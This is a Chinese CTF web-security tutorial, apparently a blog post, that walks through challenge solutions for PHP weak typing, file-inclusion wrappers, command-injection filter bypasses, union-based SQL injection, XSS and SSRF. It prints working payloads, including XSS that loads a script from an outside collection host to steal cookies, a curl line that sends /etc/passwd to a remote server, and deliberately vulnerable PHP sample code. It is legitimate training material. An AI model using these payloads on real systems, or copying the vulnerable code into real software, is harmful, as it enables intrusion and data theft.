CTF从入门到提升
一、Web基础
HTTP请求包
HTTP请求方法定义了HTTP请求时所要告诉服务器执行的动作。
常见的HTTP请求方法有以下几种:
• GET:通常用于直接获取服务器上的资源
• POST:一般用于向服务器发送数据,常用于更新资源信息
• PUT:一般用于新增一个数据记录
• PATCH:一般用于修改一个数据记录。• DELETE:一般用于删除一个数据记录
• HEAD:一般用于判断一个资源是否存在
• OPTIONS:一般用于获取一个资源自身所具备的约束,如应该采用怎样的HTTP方法及自定义的请求头
其他常见分析
• Referer:一般表示请求来源,Referer头会告诉服务器用户是从哪个页面过来的,比如下图中请求来源于http://770fe7f3-4a02-4d39-b65c-dc75c00352cb.node5.buuoj.cn:81/
• UA头,全称User-Agent。每个HTTP请求中都会携带UA头。这个头会包含我们所使用的操作系统版本、CPU、浏览器类型等,在Web开发中,一般会根据UA头来判断客户端是用什么设备或者什么浏览器访问来进行页面适配,或者说禁止某些浏览器访问。
HTTP返回包
• 101 Switching Protocols:切换协议,通常见于HTTP切换为Websocket协议
• 200 OK:请求成功。• 201 Created:资源创建成果,通常用于回应动词PUT
• 204 No Content:用于不回显任何内容的情况,如网络联通性检测
• 301 Moved Permanently:永久跳转,浏览器以后访问到这个地址都会直接跳转到Location头所指向的新地址
• 302 Found:临时跳转,会跳转到Location头所指向的地址
• 404 Not Found:所请求资源不存在
• 405 Method not allowed:方法不被允许
500 Internal Server Error:服务器内部错误
• 502 Bad Gateway:网关在转发内容时出错,通常是转发的下一站——后端不可达或返回了一些奇怪的信息
• 504 Gateway Time-out:网关在转发内容时出错,通常是转发的下一站——后端不可达
URL分析
https://url/read-6951.html?a=1&b=2#tag5
scheme:[//[userinfo@]
host[:port]]
path[?query]
[#fragment]
• 协议scheme:用于代表这个URL所指向的协议。常见的如HTTP、HTTPS、FTP等。
• 用户信息userinfo:通常为“用户名:密码”这类格式,会被编码在Authorization头中发向服务器。
• 主机名(host):指向网络上的服务器的地址、域名,或者IP地址
• 端口(port):指向服务器上的端口,如果不填写就会依据协议设置成默认值并且不展示。例如,HTTP是80端口,HTTPS是443端口,FTP是21端口
• 请求路径(path):指向服务器上资源的路径,如/read-6591.html会请求该路径对应的资源
• 请求参数(query):在请求资源时所带的参数,后端可获取到这些参数。例如,a=1&b=2代表有两个参数a和b,值分别为1和2
• 页面描点(fragment):用于指向页面上某个元素,不会被实际发送到服务器,浏览器会进行处理并滚动到该元素出现的地方
HTTP响应标头
• Set-Cookie:此头用于远程服务器向本地设置Cookie,Cookie是一种凭证,一般用于客户端向远程服务器证明身份
案例-BUU BURP COURSE 1
打开靶机可以看到提示只能本地访问
这时候就要联想到我们前面说的X-Forwarded-For、X-Client-Ip、X-Real-Ip等HTTP请求包中headers可用于向后端服务器表示真实IP的头,这里用Postman来构造请求
以此获得关键信息用户名:admin,密码:wwoj2wio2jw93ey43eiuwdjnewkndjlwe
这时候就要联想到我们前面说的POST请求向服务端发送数据
x-www-form-urlencoded是一种将表单数据转换为键值对的方式。 它是HTTP协议中一种标准的数据编码方式。 当在Postman中选择x-www-form-urlencoded方式时,表单内的数据将被转换为键值对形式,并附加到URL后面。 这种方式适用于发送简单的键值对数据,但无法上传文件
信息泄露
Dirserch的使用
Dirsearch是一个目录扫描器,可以使用它来扫描网站上的敏感文件,命令格式如下:
• -u:指定扫描的URL。
• -e:指定扫描的扩展名。∗为通配符。
• -w:指定字典。
比如:以上命令是对https://url这个网站发起扫描,并使用Kali Linux自带的字典对所有有扩展名的文件进行扫描。
案例分析-粗心的小李
显示403判断页面可能存在源码泄露
我们用githack去恢复文件
查到一个index.html
二、PHP
强类型与弱类型
对于强类型语言,不同类型不能够相互转换,如字符串的1就是字符串1,不能和数字1相提并论;对于弱类型语言,不同数据类型能够相互转换,如字符串1和int 1可以相互转换。
强类型
弱类型
弱类型漏洞产生原理:
• 如果能转换成另一个比较的类型则进行转换,如’1test’和1比较,'1test’转换成整型,或1转换为字符型
• 如果是相同类型,并且都能转换成同一类型则进行转换,如’1’和’01’比较,都能转换成整型,那就全部转换为整型然后比较,最后就是1==01
• 如果是相同类型,但不能转换成同一类型,如’a’和’1a’,两者不能同时转换成整型,只能都当作字符串来比较
MD5、HASH相关漏洞利用
这段代码的大意就是要输入两个值,然后对其进行MD5加密,之后用==(弱类型)去比较,如果两者“相等”则输出flag。典型的弱类型比较,只需要将两个符合如下条件的值输入即可。
1)MD5(值)计算后结果开头是0e。0e开头是让PHP把这段字符串认为是科学计数法字符串的先决条件。
2)0e后面全是数字。例如,0e123==0e234,0的N次方始终是0,所以弱类型比较可以相等。
PHP伪协议-ZJCTF,不过如此
前置知识
文件包含中可以使用非常多的协议,例如,常见的HTTP、FTP,或者PHP特有的php://filte
看到file=index这种类似的URL时就应该想到这里可能存在文件包含漏洞,且猜测后端源码为index拼接.php,这里我们写两个文件:一个文件为index.php,用于文件包含;一个文件为api.php,里面是php代码。当输入以下payload后,可成功将api.php的内容Base64编码后输出
然后经过过滤器对其进行Base64编码,最后包含进来。由于Base64编码后不是PHP代码,而是一些普通字符,所以会直接输出。之后我们可以调用PHP的Base64或者在线工具解密一下获取到的源码
举个例子:
案例分析
看到用的是file_get_contents()函数打开text,想到用data://协议看到include($file)
提示next.php
想到将next.php源码转换为base64
payload: ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到解密php源码,我们简单分析一下,我们的目的是调用getFlag()
函数并给cmd
赋上我们想执行的命令
return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
- 这个函数使用正则表达式对字符串进行替换。
preg_replace
函数的第一个参数是正则表达式模式,其中/ei
是修饰符。e
修饰符表示将替换部分作为PHP代码进行求值,i
修饰符表示忽略大小写。'/(' . $re . ')/ei'
构建了一个正则表达式模式,用于匹配$re
。'strtolower("\\1")'
是替换部分,将匹配的内容转换为小写。$str
是要进行替换的目标字符串。
比如我们传入 ?.*={${phpinfo()}}
原句:preg_replace(‘/(’ . r e . ′ ) / e i ′ , ′ s t r t o l o w e r ( " 1 " ) ′ , re . ')/ei','strtolower("\\1")', re.′)/ei′,′strtolower("1")′,str); 就变成preg_replace(‘/(’ .* ‘)/ei’,‘strtolower(“\1”)’,{${phpinfo()}});
又因为$_GET传入首字母是非法字符时候会把 .(点号)改成下划线,因此得将.*换成\S
所以
payload:?\S*=${getFlag()}&cmd=system('ls /');
payload:?\S*=${getFlag()}&cmd=system('ls /');
PHP代码执行漏洞以及常用函数
eval和assert函数是PHP中最常见的代码执行函数
eval()
assert()
assert会直接把输入的字符作为PHP代码去执行。代码结尾不需要用;号结束
array_map
$_GET ['method']()
在代码中函数名可以接收一个参数
案例分析-虎符网络安全大赛Unsetme
可以看到这是一个F3框架,在base.php
中530行有一段关于eval()
函数报错
这段PHP代码是一个简单的Web应用程序框架的启动脚本,它加载了一个基础PHP文件,设置了调试模式,并检查了PCRE的版本,并根据GET请求中的参数a
来操作F3框架的内部状态。最后,它运行了框架
payload: ?a=abc%0a);
payload: ?a=a%0a);phpinfo(
?a=a%0a
:这是URL参数a
的值。%0a
是一个URL编码,代表换行符(\n
)。在这个上下文中,它被用来尝试分割字符串,以绕过正常的参数解析。);
:这个分号和括号的组合是PHP代码的一部分,用来结束前面的表达式。%0aphpinfo()
:这是尝试注入的PHP代码。%0a
同样代表换行符,它被用来分割原有的代码,插入新的PHP代码phpinfo()
payload: ?a=a%0a);echo file_get_contents(%27/flag%27
//ehco file_get_contents('/flag');
PHP反序列化漏洞
序列化:把一个对象转换成一段文本,转换的这个过程就叫序列化
例如serialize()
函数,并进行URL编码
接下来我们进行一下反序列化操作
再介绍两个函数,分别是__destruct()
和 __wakeup()
,可以看出在调用反序列化后会调用__wakeup()
,程序结束后会调用__destruct()
案例分析-2019强网杯-upload
注册登陆一下,如何上传一张图片,可以看到我们图片被正确上传到../upload/c7129430ace4c05bd5bcee0bd02b538b
上了
通过扫描工具扫描得到网址下有www.tar.gz
压缩包,解压后用phpstorm打开
发现在index.php中存在反序列化$profile
后面还不会
三、常见Web漏洞
过滤敏感字符串
(1)过滤空格可以用%09、%0a、 I F S 、 {IFS}、 IFS、IFS$9等字符来过滤关键字。
(2)过滤关键字(cat、flag等)
1)用开头的读取文件替代命令去读取文件。
2)在过滤的字符串中加入单引号、双引号或反斜杠(ca"t ca""tca\t)。
3)KaTeX parse error: Undefined control sequence: \x at position 10: (printf "\̲x̲6c\x73")==ls:利用…()调用ls,等同于’printf"\x6c\x73"’
- echo Y2F0IGluZGV4LnBocA==|Base64-d|bash:Base64编码绕过,echo Base64的结果通过|又传入了Base64,解密命令后又传入bash执行。5)利用通配符:cat fl? g cat f∗。6) a=c;b=at; a a ab:利用Linux下的变量拼接动态执行命令。
案例解析-[GXYCTF2019]Ping Ping Ping
判断为命令执行漏洞,查看当前目录文件
我们用cat
试一下,提示我们空格,判断有可能是过滤空格,前面说过,我们尝试一下用%09、%0a、
I
F
S
、
{IFS}、
IFS、IFS$9等字符来过滤
通过测试$IFS$9可以,这时候提示我们要过滤关键字,我们要想到我们前面说的方法
`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
//使用echo命令输出Base64编码的文本ZmxhZy5waHA=。
//通过管道|将echo命令的输出传递给Base64-d命令进行解码。
这个案例的意思就是我们可以通过一些方法绕过过滤正确执行命令
payload: cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
cat flag.php
SQL注入漏洞
前置知识
1.关于Mysql数据库在information_schema这个数据库下的几个常见表
schemata表 column字段 schema_name-数据库名
tables表 column字段 table_schema-数据库名 table_name-表名
columns表 column字段 table_schema-数据库名 table_name-表名 column_name-列名
2.关于group_concat和concat
- 用途不同:
concat
主要用于行数据的拼接,concat
函数无法处理这个多列结果而group_concat
则主要用于列数据的拼接,。 - 操作方式不同:使用concat时,需要为每个需要拼接的字段分别指定;而group_concat可以一次性拼接多个字段的值,且自动在每个值之间添加逗号。
3.关于group by 和order by
在select用法中,order by num column<=num时都会正确回显
order by num column==num时才会正确回显
4.关于报错updatexml(参数1,参数2,参数3)
以此为例: and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)
参数1: 这是updatexml函数的第一个参数,本应该是一个XML文档。在这里,这是一个无效的1,故意用来触发错误。
参数2: 这是updatexml函数的第二个参数,应该是一个XPath表达式。在这里,它是一个拼接的字符串,由concat函数生成,concat(0x7e, (select version()), 0x7e): 这会将数据库版本号用波浪号括起来,例如:5.7.31。
参数3: 这是updatexml函数的第三个参数,表示要更新的内容。在这里,它也是一个无效的参数,旨在触发错误。
案例分析-BUU SQL COURSE 1
我们打开页面发现没有什么提示,就先用BP抓个包看看,发现在/backend/content_detail.php?id=1
可能存在注入
二分法判断列数为2
查找数据库名
//payload
?id=-1 union select group_concat(schema_name),2 from information_schema.schemata
//payload
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'
?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='FLAG_TABLE'
?id=-1 union select FLAG_COLUMN,1 from FLAG_TABLE
XSS漏洞
可以理解为前后端交互中插入一段恶意代码在页面,会对客户端产生不良的影响
XSS大体上可以分为三类:
- 反射型XSS:需要控制请求的参数使页面输出相应的XSS Payload
- 存储型XSS:把XSS Payload存储在数据库中,下次再访问时出数据库中拉取,比较常见的就是留言板,如果网站没有对用户输入做过滤,把用户输入信息直接原样记录在数据库,那么其他访问用户就会触发这个漏洞,执行XSS Payload中的代码
- DOM类型XSS:某些疏忽的原因,开发者将用户输入作为JS代码执行
HTML中XSS利用事件
• onerror:在该标签加载资源出错时会被执行c
• onload:在资源被加载时会被执行。
• onmouseover:在鼠标略过这个元素时会被执行。
• onfocus:当页面的焦点被聚集到这个元素上(如用<Tab>
键进行选择)时会被执行
案例解析-CTFHub
我们先在https://xssaq.com/上创建一个项目,默认配置就行
- 反射型XSS
我们根据url判断是通过name接收JS代码,那么我们可以在下面一栏尝试发送到我们之前创建的平台接收结果
//payload
?name=</tEXtArEa>'"><sCRiPt sRC=//uj.ci/14s></sCrIpT>
在cookie中我们可以看到flag
- 存储型XSS
同样是在在输入框输出JS代码,可以看到有提示但是URL未转变
此后我们再打开网页可以看到我们未提交任何数据,直接就跳弹窗,由此可以判断该XSS类型为存储型
和反射型类似,先提交payload存储到目标数据库,再使用第二个框点击这个恶意链接时就会发送请求给我们构建的payload里的链接,从而获得请求的信息和数据
在XSS平台查看接收的内容(flag)
- DOM类型
DOM反射
我们前面说过DOM类型XSS产生的原因是开发者将用户输入作为JS代码执行,看一下源代码我们的目的就很明确了,在输入端构造payload并提交,插入恶意JS代码,和上题一样在第二个框发送请求链接
先输一个1试试,那么我们接下来要做的就是闭合<script>
标签并插入我们想要的JS段
这是输入端提交的
';</scirpt><script sRC=//uj.ci/14s>
//这是我们想插入的
<script sRC=//uj.ci/14s></script>
可以很明显的看到,';
没有闭合,用//
闭合,并发送请求传递有效信息,获取flag
DOM跳转
我们查看源码发现JS内容主要是通过分隔字符串=
,生成一个数组,并判断数组的第一个元素(.slice(1)的意思就是从第二个到最后,相当于去掉第一个元素)是否为jumpto
并用第二个元素作为地址跳转
//举个例子
?jumpto=javascript:$.getScript("//uj.ci/14s")
//结果
location.href=javascript:$.getScript("//uj.ci/14s")
我们通过wappalyzer判断网站引用了jQuery,我们就可以利用$.getScript() 函数来加载并执行来自 xss平台 的JS脚本
//payload
?jumpto=javascript:$.getScript("//uj.ci/14s")
过滤空格
我们先尝试输入一个简单的JS弹窗,发现可以,但是输入<sCRiPt sRC=//uj.ci/14s></sCrIpT>
就不行了根据提示是过滤了空格
查了一下可能是由于解析HTML时或WAF过滤
//payload /**/
<sCRiPt/**/sRC=//uj.ci/14s></sCrIpT>
过滤关键字
我们尝试输一个简单的JS弹窗,查看源代码判断应该是过滤了关键字script
,结合我们在XSS安全平台的Payload
,可能是根据ASCII码判断,就试试大写
//payload
<sCRiPt sRC=//uj.ci/14s></sCrIpT>
SSRF漏洞
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务
SSRF形成的原因:大部分是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址做过滤,我们后面会举具体的例子,简而言之,存在SSRF漏洞的服务器可以作为我们攻击的跳板,直接攻击内网系统,而内网系统安全性普遍比较薄弱,就有可能造成内网沦陷
SSRF漏洞利用方法
• 危险函数
file_get_contents()
readfile()
PHP中用于读取文件内容的函数
<?php
$url=$_GET['url'];
echo file_get_contents($url);
?>
fsockopen()
用于远程建立TCP/IP连接,并进行网络通信,类似于302重定向
<?php
$host=$_GET['url'];
// 从 URL 的查询字符串中获取名为 'url' 的参数值,并将其赋值给变量 $host
$fp = fsockopen($host, 80, $errno, $errstr, 30);
// 尝试使用 fsockopen 函数打开与指定主机($host)的 TCP 连接,端口为 80,超时时间为 30 秒。如果连接失败,$errno 会被设置为错误代码,$errstr 会包含错误描述。
if (!$fp) {
// 如果连接失败($fp 为假)
echo "$errstr ($errno)<br />\n";
// 输出错误描述和错误代码,并换行
} else {
// 如果连接成功
$out = "GET / HTTP/1.1\r\n";
// 构建一个 HTTP 请求的起始行,指定请求方法为 GET,请求的路径为根路径('/'),使用的协议版本为 HTTP/1.1
$out.= "Host: $host\r\n";
// 添加 Host 头部,指定请求的主机
$out.= "Connection: Close\r\n\r\n";
// 添加表示连接关闭的头部
fwrite($fp, $out);
// 将构建好的请求发送到已建立连接的套接字
while (!feof($fp)) {
// 只要没有到达文件末尾(即仍有数据可读)
echo fgets($fp, 128);
// 从套接字读取最多 128 字节的数据并输出
}
fclose($fp);
// 关闭套接字连接
}
?>
• 危险协议
例如file协议,读取文件内容,本质上还是用了前面说的危险函数
<?php
if(isset($_GET['url'])) {
// 检查是否通过 GET 方法传递了名为 'url' 的参数
$file = $_GET['url'];
// 获取传递的 'url' 参数的值,并将其存储在变量 $file 中
if (strpos($file, 'file://') === 0) {
// 检查 $file 的值是否以 'file://' 开头
$file = substr($file, 7);
// 如果是,通过 substr 函数去掉 'file://' 这 7 个字符,得到实际的文件路径
if (is_readable($file)) {
// 检查该文件是否可读
$content = file_get_contents($file);
// 使用 file_get_contents 函数读取文件内容,并将其存储在 $content 变量中
echo $content;
// 输出文件内容
} else {
echo "文件不可读或不存在";
// 如果文件不可读或不存在,输出相应的提示信息
}
} else {
echo "无效的 URL 格式";
// 如果传递的参数不是以 'file://' 开头,输出格式无效的提示
}
} else {
echo "未提供有效的 URL 参数";
// 如果没有传递 'url' 参数,输出相应的提示
}
?>
SSRF解题步骤
1)找到敏感接口,验证SSRF是否存在。
2)尝试用file://协议去读取/etc/hosts文件,根据IP确定目标的内网IP段。
3)通过HTTP等协议扫描内网在线主机及端口,确定内网内存活的目标IP以及相应的端口。
4)构造请求,针对性地攻击服务
我们在学习SSRF漏洞前,需要先了解curl
命令的使用,格式如下
使用GET请求
使用POST请求,其中-X参数用来指定请求模式,-d参数指定发送数据(data)
上传文件,-F参数表示上传文件请求,=@是格式,后面跟上本地文件路径,最后是要发送数据的目标 URL,这条命令是读取文件内容名为f
并发送到后端接受
curl -F "f=@/etc/passwd" http://192.168.182.1/php1/file/upload.php
CTFHub练习题-SSRF
伪协议读取文件,根据提示我们可以看到要我们读取Web目录下的flag.php
我们前面有在CTF入门中介绍过伪协议,比较常见的读取内容的为file://
,Web默认目录为/var///www/html
端口扫描,根据提示,我们要扫描的是8000-9000端口,用BP自带的Intruder模块
添加payload
根据长度判断正确端口
POST请求
先试试flag.php
欢迎大家关注我的公众号,获取详细的网安学习成长路线图
参考文献
《从0到1:CTFer成长之路》https://book.nu1l.com/
《CTF实战:从入门到提升》